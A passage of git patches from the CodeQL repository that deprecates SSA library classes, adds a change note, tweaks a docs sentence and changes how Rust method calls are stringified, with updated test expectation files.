100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-actions.rst @@ -3,7 +3,7 @@ CodeQL library for GitHub Actions ================================= -When you're analyzing GitHub Actions workflows and action metadata files, you can make use of the large collection of classes in the CodeQL library for GitHub Actions. +When you're analyzing GitHub Actions workflows and Action metadata files, you can make use of the large collection of classes in the CodeQL library for GitHub Actions. Overview -------- @@ -116,7 +116,7 @@ See the GitHub Actions documentation on `workflows Date: Mon, 31 Mar 2025 13:25:42 +0200 Subject: [PATCH 261/282] SSA: Deprecate the public DefinitionExt. --- shared/ssa/codeql/ssa/Ssa.qll | 185 ++++++++++++++++++++-------------- 1 file changed, 107 insertions(+), 78 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 36895a28a8b..dab99df65b4 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -608,21 +608,21 @@ module Make Input> { } private module SsaDefReaches { - newtype TSsaRefKind = + deprecated newtype TSsaRefKind = SsaActualRead() or SsaPhiRead() or SsaDef() - class SsaRead = SsaActualRead or SsaPhiRead; + deprecated class SsaRead = SsaActualRead or SsaPhiRead; - class SsaDefExt = SsaDef or SsaPhiRead; + deprecated class SsaDefExt = SsaDef or SsaPhiRead; - SsaDefExt ssaDefExt() { any() } + deprecated SsaDefExt ssaDefExt() { any() } /** * A classification of SSA variable references into reads and definitions. */ - class SsaRefKind extends TSsaRefKind { + deprecated class SsaRefKind extends TSsaRefKind { string toString() { this = SsaActualRead() and result = "SsaActualRead" @@ -651,7 +651,7 @@ module Make Input> { * Unlike `Liveness::varRef`, this includes `phi` (read) nodes. */ pragma[nomagic] - predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { + deprecated predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { variableRead(bb, i, v, _) and k = SsaActualRead() or @@ -665,14 +665,14 @@ module Make Input> { * Holds if the `i`th node of basic block `bb` is a reference to `v`, and * this reference is not a phi-read. */ - predicate ssaRefNonPhiRead(BasicBlock bb, int i, SourceVariable v) { + deprecated predicate ssaRefNonPhiRead(BasicBlock bb, int i, SourceVariable v) { ssaRef(bb, i, v, [SsaActualRead().(TSsaRefKind), SsaDef()]) } - private newtype OrderedSsaRefIndex = - MkOrderedSsaRefIndex(int i, SsaRefKind k) { ssaRef(_, i, _, k) } + deprecated private newtype OrderedSsaRefIndex = + deprecated MkOrderedSsaRefIndex(int i, SsaRefKind k) { ssaRef(_, i, _, k) } - private OrderedSsaRefIndex ssaRefOrd( + deprecated private OrderedSsaRefIndex ssaRefOrd( BasicBlock bb, int i, SourceVariable v, SsaRefKind k, int ord ) { ssaRef(bb, i, v, k) and @@ -695,7 +695,7 @@ module Make Input> { * * Reads are considered before writes when they happen at the same index. */ - int ssaRefRank(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { + deprecated int ssaRefRank(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { ssaRefOrd(bb, i, v, k, _) = rank[result](int j, int ord, OrderedSsaRefIndex res | res = ssaRefOrd(bb, j, v, _, ord) @@ -704,7 +704,7 @@ module Make Input> { ) } - int maxSsaRefRank(BasicBlock bb, SourceVariable v) { + deprecated int maxSsaRefRank(BasicBlock bb, SourceVariable v) { result = ssaRefRank(bb, _, v, _) and not result + 1 = ssaRefRank(bb, _, v, _) } @@ -713,7 +713,9 @@ module Make Input> { * Holds if the SSA definition `def` reaches rank index `rnk` in its own * basic block `bb`. */ - predicate ssaDefReachesRank(BasicBlock bb, DefinitionExt def, int rnk, SourceVariable v) { + deprecated predicate ssaDefReachesRank( + BasicBlock bb, DefinitionExt def, int rnk, SourceVariable v + ) { exists(int i | rnk = ssaRefRank(bb, i, v, ssaDefExt()) and def.definesAt(v, bb, i, _) @@ -727,7 +729,9 @@ module Make Input> { * Holds if the SSA definition of `v` at `def` reaches index `i` in the same * basic block `bb`, without crossing another SSA definition of `v`. */ - predicate ssaDefReachesReadWithinBlock(SourceVariable v, DefinitionExt def, BasicBlock bb, int i) { + deprecated predicate ssaDefReachesReadWithinBlock( + SourceVariable v, DefinitionExt def, BasicBlock bb, int i + ) { exists(int rnk | ssaDefReachesRank(bb, def, rnk, v) and rnk = ssaRefRank(bb, i, v, SsaActualRead()) @@ -737,7 +741,9 @@ module Make Input> { /** * Same as `ssaRefRank()`, but restricted to a particular SSA definition `def`. */ - int ssaDefRank(DefinitionExt def, SourceVariable v, BasicBlock bb, int i, SsaRefKind k) { + deprecated int ssaDefRank( + DefinitionExt def, SourceVariable v, BasicBlock bb, int i, SsaRefKind k + ) { result = ssaRefRank(bb, i, v, k) and ( ssaDefReachesReadExt(v, def, bb, i) @@ -751,34 +757,38 @@ module Make Input> { * last reference to `v` inside `bb`. */ pragma[noinline] - predicate lastSsaRefExt(DefinitionExt def, SourceVariable v, BasicBlock bb, int i) { + deprecated predicate lastSsaRefExt(DefinitionExt def, SourceVariable v, BasicBlock bb, int i) { ssaDefRank(def, v, bb, i, _) = maxSsaRefRank(bb, v) } /** Gets a phi-read node into which `inp` is an input, if any. */ pragma[nomagic] - private DefinitionExt getAPhiReadOutput(DefinitionExt inp) { + deprecated private DefinitionExt getAPhiReadOutput(DefinitionExt inp) { phiHasInputFromBlockExt(result.(PhiReadNode), inp, _) } pragma[nomagic] - DefinitionExt getAnUltimateOutput(Definition def) { result = getAPhiReadOutput*(def) } + deprecated DefinitionExt getAnUltimateOutput(Definition def) { + result = getAPhiReadOutput*(def) + } /** * Same as `lastSsaRefExt`, but ignores phi-reads. */ pragma[noinline] - predicate lastSsaRef(Definition def, SourceVariable v, BasicBlock bb, int i) { + deprecated predicate lastSsaRef(Definition def, SourceVariable v, BasicBlock bb, int i) { lastSsaRefExt(getAnUltimateOutput(def), v, bb, i) and ssaRefNonPhiRead(bb, i, v) } - predicate defOccursInBlock(DefinitionExt def, BasicBlock bb, SourceVariable v, SsaRefKind k) { + deprecated predicate defOccursInBlock( + DefinitionExt def, BasicBlock bb, SourceVariable v, SsaRefKind k + ) { exists(ssaDefRank(def, v, bb, _, k)) } pragma[noinline] - predicate ssaDefReachesThroughBlock(DefinitionExt def, BasicBlock bb) { + deprecated predicate ssaDefReachesThroughBlock(DefinitionExt def, BasicBlock bb) { exists(SourceVariable v | ssaDefReachesEndOfBlockExt0(bb, def, v) and not defOccursInBlock(_, bb, v, _) @@ -792,7 +802,9 @@ module Make Input> { * nor written in any block on the path between `bb1` and `bb2`. */ pragma[nomagic] - predicate varBlockReachesExt(DefinitionExt def, SourceVariable v, BasicBlock bb1, BasicBlock bb2) { + deprecated predicate varBlockReachesExt( + DefinitionExt def, SourceVariable v, BasicBlock bb1, BasicBlock bb2 + ) { defOccursInBlock(def, bb1, v, _) and bb2 = getABasicBlockSuccessor(bb1) or @@ -804,7 +816,9 @@ module Make Input> { } pragma[nomagic] - private predicate phiReadStep(DefinitionExt def, PhiReadNode phi, BasicBlock bb1, BasicBlock bb2) { + deprecated private predicate phiReadStep( + DefinitionExt def, PhiReadNode phi, BasicBlock bb1, BasicBlock bb2 + ) { exists(SourceVariable v | varBlockReachesExt(pragma[only_bind_into](def), v, bb1, pragma[only_bind_into](bb2)) and phi.definesAt(v, bb2, _, _) and @@ -813,7 +827,7 @@ module Make Input> { } pragma[nomagic] - private predicate varBlockReachesExclPhiRead( + deprecated private predicate varBlockReachesExclPhiRead( DefinitionExt def, SourceVariable v, BasicBlock bb1, BasicBlock bb2 ) { varBlockReachesExt(def, v, bb1, bb2) and @@ -831,13 +845,17 @@ module Make Input> { * `def` is referenced (either a read or a write). */ pragma[nomagic] - predicate varBlockReachesRef(Definition def, SourceVariable v, BasicBlock bb1, BasicBlock bb2) { + deprecated predicate varBlockReachesRef( + Definition def, SourceVariable v, BasicBlock bb1, BasicBlock bb2 + ) { varBlockReachesExclPhiRead(getAnUltimateOutput(def), v, bb1, bb2) and ssaRefNonPhiRead(bb1, _, v) } pragma[nomagic] - predicate defAdjacentReadExt(DefinitionExt def, BasicBlock bb1, BasicBlock bb2, int i2) { + deprecated predicate defAdjacentReadExt( + DefinitionExt def, BasicBlock bb1, BasicBlock bb2, int i2 + ) { exists(SourceVariable v | varBlockReachesExt(def, v, bb1, bb2) and ssaRefRank(bb2, i2, v, SsaActualRead()) = 1 @@ -845,7 +863,7 @@ module Make Input> { } pragma[nomagic] - predicate defAdjacentRead(Definition def, BasicBlock bb1, BasicBlock bb2, int i2) { + deprecated predicate defAdjacentRead(Definition def, BasicBlock bb1, BasicBlock bb2, int i2) { exists(SourceVariable v | varBlockReachesRef(def, v, bb1, bb2) | ssaRefRank(bb2, i2, v, SsaActualRead()) = 1 or @@ -861,7 +879,7 @@ module Make Input> { * and `bb2`. */ pragma[nomagic] - predicate varBlockReachesExitExt(DefinitionExt def, BasicBlock bb) { + deprecated predicate varBlockReachesExitExt(DefinitionExt def, BasicBlock bb) { exists(BasicBlock bb2 | varBlockReachesExt(def, _, bb, bb2) | not defOccursInBlock(def, bb2, _, _) and not ssaDefReachesEndOfBlockExt0(bb2, def, _) @@ -869,7 +887,7 @@ module Make Input> { } pragma[nomagic] - private predicate varBlockReachesExitExclPhiRead(DefinitionExt def, BasicBlock bb) { + deprecated private predicate varBlockReachesExitExclPhiRead(DefinitionExt def, BasicBlock bb) { exists(BasicBlock bb2, SourceVariable v | varBlockReachesExt(def, v, bb, bb2) and not defOccursInBlock(def, bb2, _, _) and @@ -887,7 +905,7 @@ module Make Input> { * Same as `varBlockReachesExitExt`, but ignores phi-reads. */ pragma[nomagic] - predicate varBlockReachesExit(Definition def, BasicBlock bb) { + deprecated predicate varBlockReachesExit(Definition def, BasicBlock bb) { varBlockReachesExitExclPhiRead(getAnUltimateOutput(def), bb) } } @@ -895,7 +913,7 @@ module Make Input> { private import SsaDefReaches pragma[nomagic] - private predicate liveThroughExt(BasicBlock bb, SourceVariable v) { + deprecated private predicate liveThroughExt(BasicBlock bb, SourceVariable v) { liveAtExit(bb, v) and not ssaRef(bb, _, v, ssaDefExt()) } @@ -908,7 +926,9 @@ module Make Input> { * SSA definition of `v`. */ pragma[nomagic] - private predicate ssaDefReachesEndOfBlockExt0(BasicBlock bb, DefinitionExt def, SourceVariable v) { + deprecated private predicate ssaDefReachesEndOfBlockExt0( + BasicBlock bb, DefinitionExt def, SourceVariable v + ) { exists(int last | last = maxSsaRefRank(pragma[only_bind_into](bb), pragma[only_bind_into](v)) and ssaDefReachesRank(bb, def, last, v) and @@ -954,7 +974,7 @@ module Make Input> { * Holds if `inp` is an input to the phi (read) node `phi` along the edge originating in `bb`. */ pragma[nomagic] - predicate phiHasInputFromBlockExt(DefinitionExt phi, DefinitionExt inp, BasicBlock bb) { + deprecated predicate phiHasInputFromBlockExt(DefinitionExt phi, DefinitionExt inp, BasicBlock bb) { exists(SourceVariable v, BasicBlock bbDef | phi.definesAt(v, bbDef, _, _) and getABasicBlockPredecessor(bbDef) = bb and @@ -972,7 +992,9 @@ module Make Input> { * basic block `bb`, without crossing another SSA definition of `v`. */ pragma[nomagic] - predicate ssaDefReachesReadExt(SourceVariable v, DefinitionExt def, BasicBlock bb, int i) { + deprecated predicate ssaDefReachesReadExt( + SourceVariable v, DefinitionExt def, BasicBlock bb, int i + ) { ssaDefReachesReadWithinBlock(v, def, bb, i) or ssaRef(bb, i, v, SsaActualRead()) and @@ -998,7 +1020,7 @@ module Make Input> { * path between them without any read of `def`. */ pragma[nomagic] - predicate adjacentDefReadExt( + deprecated predicate adjacentDefReadExt( DefinitionExt def, SourceVariable v, BasicBlock bb1, int i1, BasicBlock bb2, int i2 ) { exists(int rnk | @@ -1018,7 +1040,9 @@ module Make Input> { * Same as `adjacentDefReadExt`, but ignores phi-reads. */ pragma[nomagic] - predicate adjacentDefRead(Definition def, BasicBlock bb1, int i1, BasicBlock bb2, int i2) { + deprecated predicate adjacentDefRead( + Definition def, BasicBlock bb1, int i1, BasicBlock bb2, int i2 + ) { exists(SourceVariable v | adjacentDefReadExt(getAnUltimateOutput(def), v, bb1, i1, bb2, i2) and ssaRefNonPhiRead(bb1, i1, v) @@ -1028,7 +1052,7 @@ module Make Input> { defAdjacentRead(def, bb1, bb2, i2) } - private predicate lastRefRedefExtSameBlock( + deprecated private predicate lastRefRedefExtSameBlock( DefinitionExt def, SourceVariable v, BasicBlock bb, int i, DefinitionExt next ) { exists(int rnk, int j | @@ -1046,7 +1070,7 @@ module Make Input> { * without passing through another read or write. */ pragma[nomagic] - predicate lastRefRedefExt( + deprecated predicate lastRefRedefExt( DefinitionExt def, SourceVariable v, BasicBlock bb, int i, DefinitionExt next ) { // Next reference to `v` inside `bb` is a write @@ -1072,7 +1096,7 @@ module Make Input> { * occurs in basic block `bb`. */ pragma[nomagic] - predicate lastRefRedefExt( + deprecated predicate lastRefRedefExt( DefinitionExt def, SourceVariable v, BasicBlock bb, int i, BasicBlock input, DefinitionExt next ) { // Next reference to `v` inside `bb` is a write @@ -1098,7 +1122,7 @@ module Make Input> { * Same as `lastRefRedefExt`, but ignores phi-reads. */ pragma[nomagic] - predicate lastRefRedef(Definition def, BasicBlock bb, int i, Definition next) { + deprecated predicate lastRefRedef(Definition def, BasicBlock bb, int i, Definition next) { exists(SourceVariable v | lastRefRedefExt(getAnUltimateOutput(def), v, bb, i, next) and ssaRefNonPhiRead(bb, i, v) @@ -1228,30 +1252,43 @@ module Make Input> { } } + deprecated class DefinitionExt = DefinitionExt_; + /** * An extended static single assignment (SSA) definition. * * This is either a normal SSA definition (`Definition`) or a * phi-read node (`PhiReadNode`). */ - class DefinitionExt extends TDefinitionExt { + private class DefinitionExt_ extends TDefinitionExt { /** Gets the source variable underlying this SSA definition. */ - SourceVariable getSourceVariable() { this.definesAt(result, _, _, _) } + SourceVariable getSourceVariable() { this.definesAt(result, _, _) } /** * Holds if this SSA definition defines `v` at index `i` in basic block `bb`. * Phi nodes are considered to be at index `-1`, while normal variable writes * are at the index of the control flow node they wrap. */ - final predicate definesAt(SourceVariable v, BasicBlock bb, int i, SsaRefKind kind) { + deprecated final predicate definesAt(SourceVariable v, BasicBlock bb, int i, SsaRefKind kind) { this.(Definition).definesAt(v, bb, i) and kind = SsaDef() or this = TPhiReadNode(v, bb) and i = -1 and kind = SsaPhiRead() } + /** + * Holds if this SSA definition defines `v` at index `i` in basic block `bb`. + * Phi nodes are considered to be at index `-1`, while normal variable writes + * are at the index of the control flow node they wrap. + */ + final predicate definesAt(SourceVariable v, BasicBlock bb, int i) { + this.(Definition).definesAt(v, bb, i) + or + this = TPhiReadNode(v, bb) and i = -1 + } + /** Gets the basic block to which this SSA definition belongs. */ - final BasicBlock getBasicBlock() { this.definesAt(_, result, _, _) } + final BasicBlock getBasicBlock() { this.definesAt(_, result, _) } /** Gets a textual representation of this SSA definition. */ string toString() { result = this.(Definition).toString() } @@ -1260,6 +1297,8 @@ module Make Input> { Location getLocation() { result = this.(Definition).getLocation() } } + deprecated class PhiReadNode = PhiReadNode_; + /** * A phi-read node. * @@ -1341,7 +1380,7 @@ module Make Input> { * to `phi-read` goes through a dominance-frontier block, and hence a phi node, * which contradicts reachability. */ - class PhiReadNode extends DefinitionExt, TPhiReadNode { + private class PhiReadNode_ extends DefinitionExt_, TPhiReadNode { override string toString() { result = "SSA phi read(" + this.getSourceVariable() + ")" } override Location getLocation() { result = this.getBasicBlock().getLocation() } @@ -1369,18 +1408,6 @@ module Make Input> { not uncertainWriteDefinitionInput(_, def) } - /** Holds if a read is not dominated by a definition. */ - query predicate notDominatedByDef(Definition def, SourceVariable v, BasicBlock bb, int i) { - exists(BasicBlock bbDef, int iDef | def.definesAt(v, bbDef, iDef) | - ssaDefReachesReadWithinBlock(v, def, bb, i) and - (bb != bbDef or i < iDef) - or - ssaDefReachesRead(v, def, bb, i) and - not ssaDefReachesReadWithinBlock(v, def, bb, i) and - not def.definesAt(v, getImmediateBasicBlockDominator*(bb), _) - ) - } - /** Holds if the end of a basic block can be reached by multiple definitions. */ query predicate nonUniqueDefReachesEndOfBlock(Definition def, SourceVariable v, BasicBlock bb) { ssaDefReachesEndOfBlock(bb, def, v) and @@ -1525,21 +1552,21 @@ module Make Input> { module DataFlowIntegration { private import codeql.util.Boolean - final private class DefinitionExtFinal = DefinitionExt; + final private class DefinitionExtFinal = DefinitionExt_; /** An SSA definition which is either a phi node or a phi read node. */ private class SsaPhiExt extends DefinitionExtFinal { SsaPhiExt() { this instanceof PhiNode or - this instanceof PhiReadNode + this instanceof PhiReadNode_ } } cached private Definition getAPhiInputDef(SsaPhiExt phi, BasicBlock bb) { exists(SourceVariable v, BasicBlock bbDef | - phi.definesAt(v, bbDef, _, _) and + phi.definesAt(v, bbDef, _) and getABasicBlockPredecessor(bbDef) = bb and ssaDefReachesEndOfBlock(bb, result, v) ) @@ -1612,9 +1639,9 @@ module Make Input> { SsaPhiExt phi, SsaPhiExt phi2, BasicBlock input, boolean relevant ) { exists(BasicBlock bb1, int i, SourceVariable v, BasicBlock bb2 | - phi.definesAt(pragma[only_bind_into](v), bb1, i, _) and + phi.definesAt(pragma[only_bind_into](v), bb1, i) and AdjacentSsaRefs::adjacentRefPhi(bb1, i, input, bb2, v) and - phi2.definesAt(pragma[only_bind_into](v), bb2, _, _) and + phi2.definesAt(pragma[only_bind_into](v), bb2, _) and if relevantPhiInputNode(phi2, input) then relevant = true else relevant = false ) } @@ -1626,7 +1653,7 @@ module Make Input> { */ private predicate phiStepsToRef(SsaPhiExt phi, BasicBlock bb, int i, boolean isUse) { exists(SourceVariable v, BasicBlock bb1, int i1 | - phi.definesAt(v, bb1, i1, _) and + phi.definesAt(v, bb1, i1) and AdjacentSsaRefs::adjacentRefRead(bb1, i1, bb, i, v) | isUse = true and @@ -1660,13 +1687,13 @@ module Make Input> { private newtype TNode = TWriteDefSource(WriteDefinition def) { DfInput::ssaDefHasSource(def) } or TExprNode(DfInput::Expr e, Boolean isPost) { e = DfInput::getARead(_) } or - TSsaDefinitionNode(DefinitionExt def) { + TSsaDefinitionNode(DefinitionExt_ def) { not phiHasUniqNextNode(def) and if DfInput::includeWriteDefsInFlowStep() then any() else ( def instanceof PhiNode or - def instanceof PhiReadNode or + def instanceof PhiReadNode_ or DfInput::allowFlowIntoUncertainDef(def) ) } or @@ -1792,18 +1819,18 @@ module Make Input> { /** An SSA definition, viewed as a node in a data flow graph. */ private class SsaDefinitionExtNodeImpl extends SsaNodeImpl, TSsaDefinitionNode { - private DefinitionExt def; + private DefinitionExt_ def; SsaDefinitionExtNodeImpl() { this = TSsaDefinitionNode(def) } /** Gets the corresponding `DefinitionExt`. */ - DefinitionExt getDefExt() { result = def } + DefinitionExt_ getDefExt() { result = def } deprecated override DefinitionExt getDefinitionExt() { result = def } override BasicBlock getBasicBlock() { result = def.getBasicBlock() } - override int getIndex() { def.definesAt(_, _, result, _) } + override int getIndex() { def.definesAt(_, _, result) } override SourceVariable getSourceVariable() { result = def.getSourceVariable() } @@ -1829,7 +1856,7 @@ module Make Input> { /** A node that represents a synthetic read of a source variable. */ final class SsaSynthReadNode extends SsaNode { SsaSynthReadNode() { - this.(SsaDefinitionExtNodeImpl).getDefExt() instanceof PhiReadNode or + this.(SsaDefinitionExtNodeImpl).getDefExt() instanceof PhiReadNode_ or this instanceof SsaInputNodeImpl } } @@ -1876,7 +1903,7 @@ module Make Input> { SsaInputNodeImpl() { this = TSsaInputNode(def_, input_) } /** Holds if this node represents input into SSA definition `def` via basic block `input`. */ - predicate isInputInto(DefinitionExt def, BasicBlock input) { + predicate isInputInto(DefinitionExt_ def, BasicBlock input) { def = def_ and input = input_ } @@ -1907,9 +1934,9 @@ module Make Input> { private predicate flowOutOf( Node nodeFrom, SourceVariable v, BasicBlock bb, int i, boolean isUseStep ) { - exists(DefinitionExt def | + exists(DefinitionExt_ def | nodeFrom.(SsaDefinitionExtNodeImpl).getDefExt() = def and - def.definesAt(v, bb, i, _) and + def.definesAt(v, bb, i) and isUseStep = false ) or @@ -1935,9 +1962,9 @@ module Make Input> { ) or // Flow from definition/read to phi input - exists(BasicBlock input, BasicBlock bbPhi, DefinitionExt phi | + exists(BasicBlock input, BasicBlock bbPhi, DefinitionExt_ phi | AdjacentSsaRefs::adjacentRefPhi(bb1, i1, input, bbPhi, v) and - phi.definesAt(v, bbPhi, -1, _) + phi.definesAt(v, bbPhi, -1) | if relevantPhiInputNode(phi, input) then nodeTo = TSsaInputNode(phi, input) @@ -1945,8 +1972,10 @@ module Make Input> { ) } - private predicate flowIntoPhi(DefinitionExt phi, SourceVariable v, BasicBlock bbPhi, Node nodeTo) { - phi.definesAt(v, bbPhi, -1, _) and + private predicate flowIntoPhi( + DefinitionExt_ phi, SourceVariable v, BasicBlock bbPhi, Node nodeTo + ) { + phi.definesAt(v, bbPhi, -1) and if phiHasUniqNextNode(phi) then flowFromRefToNode(v, bbPhi, -1, nodeTo) else nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi @@ -1981,7 +2010,7 @@ module Make Input> { ) or // Flow from input node to def - exists(DefinitionExt phi | + exists(DefinitionExt_ phi | phi = nodeFrom.(SsaInputNodeImpl).getPhi() and isUseStep = false and nodeFrom != nodeTo and @@ -2001,7 +2030,7 @@ module Make Input> { ) or // Flow from SSA definition to read - exists(DefinitionExt def | + exists(DefinitionExt_ def | nodeFrom.(SsaDefinitionExtNodeImpl).getDefExt() = def and nodeTo.(ExprNode).getExpr() = DfInput::getARead(def) and v = def.getSourceVariable() From 6ac4cb71cba9fc2da0063f49f07d790de9e932f4 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 3 Apr 2025 09:57:48 +0200 Subject: [PATCH 262/282] SSA: Add change note. --- .../ssa/change-notes/2025-04-03-definitionext-deprecation.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 shared/ssa/change-notes/2025-04-03-definitionext-deprecation.md diff --git a/shared/ssa/change-notes/2025-04-03-definitionext-deprecation.md b/shared/ssa/change-notes/2025-04-03-definitionext-deprecation.md new file mode 100644 index 00000000000..0f0db7c81a1 --- /dev/null +++ b/shared/ssa/change-notes/2025-04-03-definitionext-deprecation.md @@ -0,0 +1,4 @@ +--- +category: deprecated +--- +* All references to the `DefinitionExt` and `PhiReadNode` classes in the SSA library have been deprecated. The concept of phi-read nodes is now strictly an internal implementation detail. Their sole use-case is to improve the structure of the use-use flow relation for data flow, and this use-case remains supported by the `DataFlowIntegration` module. From b0c40111e78f341ea212c9cae6bdbb390cfad489 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 3 Apr 2025 12:45:08 +0200 Subject: [PATCH 263/282] Rust: Tweaks to stringification --- .../elements/internal/MethodCallExprImpl.qll | 20 +- rust/ql/lib/codeql/rust/internal/Type.qll | 4 +- .../PathResolutionConsistency.expected | 4 +- .../canonical_path/canonical_paths.expected | 10 +- .../PathResolutionConsistency.expected | 4 +- .../canonical_paths.expected | 10 +- .../CONSISTENCY/AstConsistency.expected | 4 +- .../library-tests/controlflow/Cfg.expected | 8 +- .../dataflow/global/inline-flow.expected | 22 +- .../dataflow/global/viableCallable.expected | 8 +- .../dataflow/local/DataFlowStep.expected | 78 +- .../dataflow/local/inline-flow.expected | 30 +- .../dataflow/modeled/inline-flow.expected | 52 +- .../dataflow/pointers/inline-flow.expected | 48 +- .../strings/inline-taint-flow.expected | 12 +- .../type-inference/type-inference.expected | 1406 ++++++++--------- .../test/library-tests/variables/Cfg.expected | 16 +- .../security/CWE-022/TaintedPath.expected | 10 +- .../security/CWE-089/SqlInjection.expected | 64 +- .../CWE-311/CleartextTransmission.expected | 6 +- .../CWE-312/CleartextLogging.expected | 30 +- 21 files changed, 928 insertions(+), 918 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll index 30106d67d1a..fb7bcfbdaa4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll @@ -42,12 +42,22 @@ module Impl { ) } + private string toStringPart(int index) { + index = 0 and + result = this.getReceiver().toAbbreviatedString() + or + index = 1 and + (if this.getReceiver().toAbbreviatedString() = "..." then result = " ." else result = ".") + or + index = 2 and + result = this.getIdentifier().toStringImpl() + or + index = 3 and + if this.getArgList().getNumberOfArgs() = 0 then result = "()" else result = "(...)" + } + override string toStringImpl() { - exists(string base, string separator | - base = this.getReceiver().toAbbreviatedString() and - (if base = "..." then separator = " ." else separator = ".") and - result = base + separator + this.getIdentifier().toStringImpl() + "(...)" - ) + result = strictconcat(int i | | this.toStringPart(i) order by i) } } } diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index 86abcb638f8..ef311fae6c8 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -104,7 +104,7 @@ class StructType extends StructOrEnumType, TStruct { result = TTypeParamTypeParameter(struct.getGenericParamList().getTypeParam(i)) } - override string toString() { result = struct.toString() } + override string toString() { result = struct.getName().getText() } override Location getLocation() { result = struct.getLocation() } } @@ -125,7 +125,7 @@ class EnumType extends StructOrEnumType, TEnum { result = TTypeParamTypeParameter(enum.getGenericParamList().getTypeParam(i)) } - override string toString() { result = enum.toString() } + override string toString() { result = enum.getName().getText() } override Location getLocation() { result = enum.getLocation() } } diff --git a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected index 15c7cfcb410..2c09f55800f 100644 --- a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,3 @@ multipleStaticCallTargets -| regular.rs:29:5:29:9 | s.g(...) | anonymous.rs:15:9:15:22 | fn g | -| regular.rs:29:5:29:9 | s.g(...) | regular.rs:13:5:13:18 | fn g | +| regular.rs:29:5:29:9 | s.g() | anonymous.rs:15:9:15:22 | fn g | +| regular.rs:29:5:29:9 | s.g() | regular.rs:13:5:13:18 | fn g | diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected index c7f85fb86f8..8395c20a00a 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.expected @@ -38,17 +38,17 @@ canonicalPaths resolvedPaths | anonymous.rs:27:17:27:30 | OtherStruct {...} | None | None | | anonymous.rs:28:9:28:9 | s | None | None | -| anonymous.rs:28:9:28:13 | s.f(...) | None | None | +| anonymous.rs:28:9:28:13 | s.f() | None | None | | anonymous.rs:29:9:29:9 | s | None | None | -| anonymous.rs:29:9:29:13 | s.g(...) | None | None | +| anonymous.rs:29:9:29:13 | s.g() | None | None | | anonymous.rs:30:9:30:14 | nested | None | None | | regular.rs:27:13:27:21 | Struct {...} | repo::test | crate::regular::Struct | | regular.rs:28:5:28:5 | s | None | None | -| regular.rs:28:5:28:9 | s.f(...) | repo::test | ::f | +| regular.rs:28:5:28:9 | s.f() | repo::test | ::f | | regular.rs:29:5:29:5 | s | None | None | -| regular.rs:29:5:29:9 | s.g(...) | repo::test | ::g | +| regular.rs:29:5:29:9 | s.g() | repo::test | ::g | | regular.rs:30:5:30:5 | s | None | None | -| regular.rs:30:5:30:9 | s.h(...) | repo::test | <_ as crate::regular::TraitWithBlanketImpl>::h | +| regular.rs:30:5:30:9 | s.h() | repo::test | <_ as crate::regular::TraitWithBlanketImpl>::h | | regular.rs:31:5:31:8 | free | repo::test | crate::regular::free | | regular.rs:41:9:41:26 | ...::None::<...> | lang:core | crate::option::Option::None | | regular.rs:42:9:42:20 | ...::Some | lang:core | crate::option::Option::Some | diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected index 0a1a09d5c70..e66b1b5ee2e 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected @@ -1,3 +1,3 @@ multipleStaticCallTargets -| regular.rs:32:5:32:9 | s.g(...) | anonymous.rs:18:9:18:22 | fn g | -| regular.rs:32:5:32:9 | s.g(...) | regular.rs:16:5:16:18 | fn g | +| regular.rs:32:5:32:9 | s.g() | anonymous.rs:18:9:18:22 | fn g | +| regular.rs:32:5:32:9 | s.g() | regular.rs:16:5:16:18 | fn g | diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected index ec6b4bad150..878cb1fc7c9 100644 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected +++ b/rust/ql/test/extractor-tests/canonical_path_disabled/canonical_paths.expected @@ -38,17 +38,17 @@ canonicalPaths resolvedPaths | anonymous.rs:30:17:30:30 | OtherStruct {...} | None | None | | anonymous.rs:31:9:31:9 | s | None | None | -| anonymous.rs:31:9:31:13 | s.f(...) | None | None | +| anonymous.rs:31:9:31:13 | s.f() | None | None | | anonymous.rs:32:9:32:9 | s | None | None | -| anonymous.rs:32:9:32:13 | s.g(...) | None | None | +| 